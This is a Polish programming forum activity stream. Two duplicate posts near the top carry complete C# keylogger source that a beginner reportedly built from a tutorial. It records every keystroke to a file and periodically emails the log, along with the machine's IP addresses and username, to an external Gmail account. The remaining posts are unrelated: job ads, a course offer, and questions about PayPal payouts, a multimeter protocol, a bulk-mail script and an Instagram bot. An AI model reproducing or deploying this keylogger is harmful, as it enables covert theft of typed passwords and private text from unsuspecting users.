Jump to content

All Activity

This stream auto-updates     

  1. Last week
  2. Witam zaczynam z programowaniem więc postanowiłem zrobić dla siebie zrobić keyloggera według poradnika ale pojawił się problem nie wysyłało maili (próbowałem na gmail) próbowałem różnych sposobów ale żaden nie działa więc jeśli ktoś ma ochotę to tu ma kod : using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Mail; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Threading.Tasks; namespace ANKAiKUBAtoJednaOSOBA { class Program { [DllImport("User32.dll")] public static extern int GetAsyncKeyState(Int32 i); // string to hold all of the keystrokes static long numberOfKeystrokes = 0; static void Main(string[]args) { String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); if (!Directory.Exists(filepath)) { Directory.CreateDirectory(filepath); } string path = (filepath + @"\keystrokes.txt"); if (File.Exists(path)) { using (StreamWriter sw = File.CreateText(path)) { } } // plan // 1 - capture keystrokes and display them to the console while (true) { //pause and let other programs get a chance to run. Thread.Sleep(5); //check all keys for their state for (int i = 32; i < 127; i++) { int keyState = GetAsyncKeyState(i); //print to the console if (keyState == 32769) { Console.Write((char) i + ", "); // 2 - store the strokes info a text file using (StreamWriter sw = File.AppendText(path)) { sw.Write((char)i); } numberOfKeystrokes++; // send every 100 charagters typed. if (numberOfKeystrokes % 100 == 0 ) { SendNewMessage(); } } // 3 - periodically send the contents of the file to an extrenal mail addres } } }//main static void SendNewMessage() { //send the contens of the text file to an extrenal email address String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); string filePath = folderName + @"\keystrokes.txt"; String logContents = File.ReadAllText(filePath); string emailBody = ""; //Create an mail message DateTime now = DateTime.Now; string subject = "Message from keylogger"; var host = Dns.GetHostEntry(Dns.GetHostName()); foreach (var address in host.AddressList) { emailBody += "Address:" + address; } emailBody += "\n User: " + Environment.UserDomainName + "\\" + Environment.UserName; emailBody += "\nhost" + host; emailBody += "\ntime:" + now.ToString(); emailBody += logContents; SmtpClient client = new SmtpClient("smtp.gmail.com",587); MailMessage mailMessage = new MailMessage(); mailMessage.From = new MailAddress("jakiś.tam@gmail.com"); mailMessage.To.Add("jakiś.tam@gmail.com"); mailMessage.Subject = subject; client.UseDefaultCredentials = false; client.EnableSsl = true; client.Credentials = new System.Net.NetworkCredential("jakiś.tam@gmail.com", "Hasło123"); mailMessage.Body = emailBody; client.Send(mailMessage); } } }
  3. Witam zaczynam z programowaniem więc postanowiłem zrobić dla siebie zrobić keyloggera według poradnika ale pojawił się problem nie wysyłało maili (próbowałem na gmail) próbowałem różnych sposobów ale żaden nie działa więc jeśli ktoś ma ochotę to tu ma kod : using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Mail; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Threading.Tasks; namespace ANKAiKUBAtoJednaOSOBA { class Program { [DllImport("User32.dll")] public static extern int GetAsyncKeyState(Int32 i); // string to hold all of the keystrokes static long numberOfKeystrokes = 0; static void Main(string[]args) { String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); if (!Directory.Exists(filepath)) { Directory.CreateDirectory(filepath); } string path = (filepath + @"\keystrokes.txt"); if (File.Exists(path)) { using (StreamWriter sw = File.CreateText(path)) { } } // plan // 1 - capture keystrokes and display them to the console while (true) { //pause and let other programs get a chance to run. Thread.Sleep(5); //check all keys for their state for (int i = 32; i < 127; i++) { int keyState = GetAsyncKeyState(i); //print to the console if (keyState == 32769) { Console.Write((char) i + ", "); // 2 - store the strokes info a text file using (StreamWriter sw = File.AppendText(path)) { sw.Write((char)i); } numberOfKeystrokes++; // send every 100 charagters typed. if (numberOfKeystrokes % 100 == 0 ) { SendNewMessage(); } } // 3 - periodically send the contents of the file to an extrenal mail addres } } }//main static void SendNewMessage() { //send the contens of the text file to an extrenal email address String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); string filePath = folderName + @"\keystrokes.txt"; String logContents = File.ReadAllText(filePath); string emailBody = ""; //Create an mail message DateTime now = DateTime.Now; string subject = "Message from keylogger"; var host = Dns.GetHostEntry(Dns.GetHostName()); foreach (var address in host.AddressList) { emailBody += "Address:" + address; } emailBody += "\n User: " + Environment.UserDomainName + "\\" + Environment.UserName; emailBody += "\nhost" + host; emailBody += "\ntime:" + now.ToString(); emailBody += logContents; SmtpClient client = new SmtpClient("smtp.gmail.com",587); MailMessage mailMessage = new MailMessage(); mailMessage.From = new MailAddress("jakiś.tam@gmail.com"); mailMessage.To.Add("jakiś.tam@gmail.com"); mailMessage.Subject = subject; client.UseDefaultCredentials = false; client.EnableSsl = true; client.Credentials = new System.Net.NetworkCredential("jakiś.tam@gmail.com", "Hasło123"); mailMessage.Body = emailBody; client.Send(mailMessage); } } }
  4. Earlier
  5. Musisz sobie zaadaptować SDK PayPal-a, musisz mieć konto biznesowe https://developer.paypal.com/docs/payouts/
  6. Jak zrobić automatyczne wysyłanie pieniędzy na paypal na własnej stronie do użytkowników po kliknięciu przez daną osobę opcje wypłaty np. 20,50 zł? np tak jak jest na stronie ysense.
  7. Co jest dla Was ważne przy wyborze fotela? Na co zwracacie szczególną uwagę?
  8. Hej Jeśli ktoś z Was chce się nauczyć od podstaw porządnie Javy i powiązanych technologii tj. MAVEN, Hibernate, Spring Boot, SQL czy GIT, to zapraszam do zapoznania się z moją ofertą kursu programowania. Poniżej kilka informacji: To nie Bootcamp! Nie kieruję tego do osób, które chcą się przekwalifikować w 6 miesięcy i pracować jako Java Developer - tak się nie da. Nie sprzedaję marzeń. Szkolenie kieruję do osób, które faktycznie mają czas na naukę i chcą się uczyć programowania bo to lubią, bo jest to dla nich interesujące i wiążą z tym swoją przyszłą karierę zawodową. Jeśli widzisz siebie w przyszłości jako programistę Java to zapraszam Kurs będzie odbywał się online, głównie w weekendy. Zakładany czas kursu to około 8 miesięcy. Kurs składa się z 16 modułów, ponad 200 godzin livecodingu i wykładów. Nagrania video oraz dodatkowe materiały będą dostępne na platformie. Jest jeden trener i mentor, czyli ja Mam kilkanaście lat doświadczenia zawodowego, obecnie jestem liderem technicznym. Czasami prowadzę też zajęcia w bootcamp'ach. Wiem, co musisz umieć, żeby pracować jako programista Java. Mała liczba kursantów, maksymalnie do 30 osób. Możesz tutaj liczyć na indywidualne wsparcie od trenera. Cena za takie szkolenie jest ponad 2 razy niższa niż w bootcamp'ach. Oszczędzasz masę czasu bo uczysz się faktycznie potrzebnych rzeczy. Jeśli jesteś zainteresowany to zapraszam na stronę Akademii po więcej informacji. Znajdziesz też tam kontakt do mnie. Kamil Jasek, Akademia Java https://java.akademia.uno/
  9. Witam! Chciałbym Was bardzo prosić o wytłumaczenie o co tu chodzi. Od kilku dni "studiuję" temat i o ile w teorii wydaje mi się zrozumiały, to w praktyce nie bardzo. Jest urządzenie (multimetr), które transmituje poprzez port szeregowy odczyt, wybrany zakres itd. Transmisja jest bitowa (tak mi się wydaje) i jakoś "zakodowana". Podsłuchałem port i wygląda to tak: 00 D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 .Đâń..;N[j}Ś— °Ŕ D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 D0 Đâń..;N[j}Ś— °ŔĐ E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 D0 E2 âń..;N[j}Ś— °ŔĐâ F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 D0 E2 F1 ń..;N[j}Ś— °ŔĐâń 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 D0 E2 F1 18 ..;N[j}Ś— °ŔĐâń. 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 D0 E2 F1 18 2E .;N[j}Ś— °ŔĐâń.. 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 D0 E2 F1 18 2E 3B ;N[j}Ś— °ŔĐâń..; itd. Mam od źródłowy aplikacji, którą kiedyś lekko zmodyfikowałem i robiło co trzeba - zrzut do pliku ASCII w formie czytelnej dla ludzi. Urządzenie jednak pada i zakupione zostało nowe - niby identyczne (taki sam symbol), ale coś zmienili w protokole i już aplikacja nie działa. Zresztą do obu dołączona jest mała aplikacja Windows, która pokazuje odczyt oraz ekran LCD multimetru i ta stara również nie współpracuje z nowym urządzeniem. W aplikacje, którą kiedyś znalazłem i lekko zmodyfikowałem jest taki opis: /** * display value is encoded by maping the elements of the 7-segment * to the lower nibbles of byte groups [a,b] = {[1,2],[3,4],[5,6],[7,8]}: * 0a:00 * * by combining the nibbles to a byte we got a uniqe identifier * for every symbol shown on the display. * * for byte 1 bit 3 represents a leading minus (negative value) * for bytes 3,5,7 bit 3 indicates a leading decimal point * (means the encoded value is the first part of the fraction) */ Napisałem na szybko taką funkcję: string swapNibbles(string _x) { int _in, _out = 0; string wynik = ""; Int32.TryParse(_x, out _in); _out = (_in & 0x0F) << 4 | (_in & 0xF0) >> 4; wynik = _out.ToString(); return wynik; } alej nie wiem, czy to ma sens i co dalej z tym robić? Bardzo proszę o pomoc! Przed chwilą zauważyłem taką powtarzalność (poza 00 na początku transmisji): D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 Đâń..;N[j}Ś— °Ŕ D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 Đâń..;N[j}Ś— °Ŕ D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 Đâń..;N[j}Ś— °Ŕ D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 Đâń..;N[j}Ś— °Ŕ D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 Đâń..;N[j}Ś— °Ŕ D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 Đâń..;N[j}Ś— °Ŕ D0 E2 F1 18 2E 3B 4E 5B 6A 7D 8C 97 A0 B0 C0 Đâń..;N[j}Ś— °Ŕ Powtarzalność jest normalna, gdyż odczyt nie zmienia się teraz.
  10. Platforma szkoleniowa w zakresie reóżnych technologii z podziałem na konkretne aspekty poszczególnych języków https://hyperskill.org/projects
  11. Nie wiem czy to dobre miejsce do tego typu spraw, ale potrzebuję pomocy - konsultacji w sprawach organizacji bazy danych od podstaw. Może być dowolna baza, aby działała - nawet sql, ostatecznie. Konsultacje są odpłatne, ale raczej niewiele, 1000 zł limit (za kilka dni pracy) Finalny produkt będzie bez wątpienia nr 1 na rynku biznesowym, więc samo to powinno być dobrą motywacją do współpracy.
  12. Czy byłby ktoś z Was chętny do wspólnej nauki programowania z wykorzystaniem platformy JetBrains Academy?
  13. SOLVEE Studio dostarcza klientom innowacyjne rozwiązania z branży IT. W związku z intensywnym rozwojem firmy szukamy Mid Java Developera. Nasze oczekiwania: Dobra znajomość Java, Kotlin Co najmniej 3 lata komercyjnego doświadczenia jako programista Android w technologii Kotlin i/lub Java Język angielski w stopniu komunikatywnym Doświadczenie lub chęć nabycia umiejętności tworzenia aplikacji AR/VR Mile widziane: Doświadczenie w face/voice recognition SDK Oferujemy: Pracę w przyjaznym i wspierającym zespole (młodym i ambitnym także!) Ciekawe, międzynarodowe projekty Luźną atmosferę i elastyczne godziny pracy Wynagrodzenie: 8000 - 16000 netto, w zależności od Twoich umiejętności Zainteresowany/a? Wyślij CV na adres alina.dudzic@solvee.pl
  14. SOLVEE Studio dostarcza klientom innowacyjne rozwiązania z branży IT. W związku z intensywnym rozwojem firmy szukamy Mid React Developera. Nasze oczekiwania: Bardzo dobra znajomość JavaScript Bardzo dobra znajomość React.JS Dobra znajomość: TypeScript, HTML, CSS, SCSS Język angielski w stopniu komunikatywnym GIT Mile widziane: Doświadczenie lub chęć nabycia umiejętności tworzenia aplikacji AR/VR Znajomość PhpStorm, Angular 2up Doświadczenie w face/voice recognition SDK Oferujemy: Pracę w przyjaznym i wspierającym zespole (młodym i ambitnym także!) Ciekawe, międzynarodowe projekty Luźną atmosferę i elastyczne godziny pracy Wynagrodzenie: 6000 - 10000 netto, w zależności od Twoich umiejętności Zainteresowany/a? Wyślij CV na adres alina.dudzic@solvee.pl
  15. SOLVEE Studio dostarcza klientom innowacyjne rozwiązania z branży IT. W związku z intensywnym rozwojem firmy szukamy Mid PHP Developera. Nasze oczekiwania: Bardzo dobra znajomość PHP Bardzo dobra znajomość frameworka Symfony Dobra znajomość frameworków: Doctrine, Twig Dobra znajomość MySQL, Postgresql lub MongoDB Tworzenie API Testowanie automatyczne Język angielski w stopniu komunikatywnym Mile widziane Znajomość Phpspec Znajomość behat Znajomość Sylius Znajomość ApiPlatform Znajomość technologii front-endowych - React.JS, Angular Podstawowa znajomość JavaScript/TypeScript Znajomość technologii: Nginx + PHP-FPM, Docker+compose A ponadto nie obce są Ci: koncepcja czystego kodu, zasady DRY, KISS, SOLID, TDD/BDD Pilnujesz nazywania metod/klas/zmiennych, stosujesz komentarze i pilnujesz struktury i standardów narzuconych przez projekt Będziesz pasował do naszego zespołu jeśli cechuje Cię: Samodzielność w rozwiązywaniu problemów Samodzielnie pilnujesz terminów wykonywanych zadań Jesteś nastawiony na rozwój, podejmowanie wyzwań i uczenie się nowych rzeczy Czujesz się odpowiedzialny za swoją pracę Oferujemy: Pracę w młodym i ambitnym zespole Ciekawe, międzynarodowe projekty Przyjazną atmosferę pracy i elastyczne godziny pracy • 6000-1000 netto w zależności od Twoich umiejętności Zainteresowany/a? Wyślij CV na adres alina.dudzic@solvee.pl
  16. Wygląda to na czyjąś gotową paczkę.
  17. Ale obowiązują i tak domyślne limity Gmaila, no a błąd jest raczej oczywisty, brakuje Ci importu.
  18. Nie dochodzą emaile do masowego wysyłania emaili z gmaila i zezwóliłem dostęp do aplikacji i włączyłem imap i pop.Oto kod: import smtplib with open("to.txt", 'r') as f: maile = [a.strip() for a in f.readlines() if a.strip()] print(maile) gmail_user = '' gmail_password = '' sent_from = gmail_user email_text = 'tekst' try: server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(gmail_user, gmail_password) for x in maile: server.sendmail(sent_from, x, email_text) except: print('Hej')
  19. Nie umiem znaleść pewnych modulów przy tworzeniu bota do instagrama .Oto kod import AccountAgent, DBUsers import Constants import datetime def init(webdriver): Constants.init() AccountAgent.login(webdriver) def update(webdriver): #Get start of time to calculate elapsed time later start = datetime.datetime.now() #Before the loop, check if should unfollow anyone _check_follow_list(webdriver) while True: #Start following operation AccountAgent.follow_people(webdriver) #Get the time at the end end = datetime.datetime.now() #How much time has passed? elapsed = end - start #If greater than our constant to check on #followers, check on followers if elapsed.total_seconds() >= Constants.CHECK_FOLLOWERS_EVERY: #reset the start variable to now start = datetime.datetime.now() #check on followers _check_follow_list(webdriver) def _check_follow_list(webdriver): print("Checking for users to unfollow") #get the unfollow list users = DBUsers.check_unfollow_list() #if there's anyone in the list, start unfollowing operation if len(users) > 0: AccountAgent.unfollow_people(webdriver, users)
  20. Działa i temat można zamknąć
  21. Ja bym poszukał gotowych projektów na GitHubie najpierw, coś prostego, nie zdziwiłbym się jakbyś więcej znalazła rozwiązań w Pythonie.
  22. Witajcie, Mam problem z pracą dyplomową. Miałam dość długą przerwę na uczelni, a nie ukrywam, że mistrzynią programowania nie byłam, a zdecydowałam się w końcu do tego siąść. Muszę napisać aplikację webową z wykorzystaniem sztucznych sieci neuronowych, która będzie miała na celu deidentyfikację osób. Ma odbywać się to dwuetapowo. W pierwszym etapie z zamieszczonego na apce zdjęcia musi zlokalizować twarz, w drugim etapie na tej zlokalizowanej twarzy ma zlokalizować oczy i następnie zasłonić je czarnym paskiem. Po zapoznaniu się z teorią odnośnie sieci neuronowych doszłam do wniosku, że w przypadku rozpoznawania obrazu najlepiej będzie użyć CNN, czyli konwolucyjnych sieci neuronowych. Uznałam również, że pisząc w javie najlepiej będzie skorzystać z biblioteki TensorFlow. Polecicie od czego byście zaczeli? Bo szczerze powiedziawszy największy właśnie z tym mam problem jak po kolei ruszyć z tym rozwiązywaniem problemów i jak się wogóle zabrać do pisania tego z dobrej strony. Będę niezmiernie wdzięczna za każdą pomoc
  23. Tematy bliskie mojemu sercu, czyli obfuscatory dla Lua https://github.com/Peepx0/LuaObfuscator https://github.com/efrederickson/XFuscator https://hastebin.com/raw/uwuyugogoj Jeśli znacie inne, ciekawe metody zabezpieczania kodów źródłowych Lua, wrzućcie linki.
  24. I gdzie ten błąd?
  1. Load more activity
×
×
  • Create New...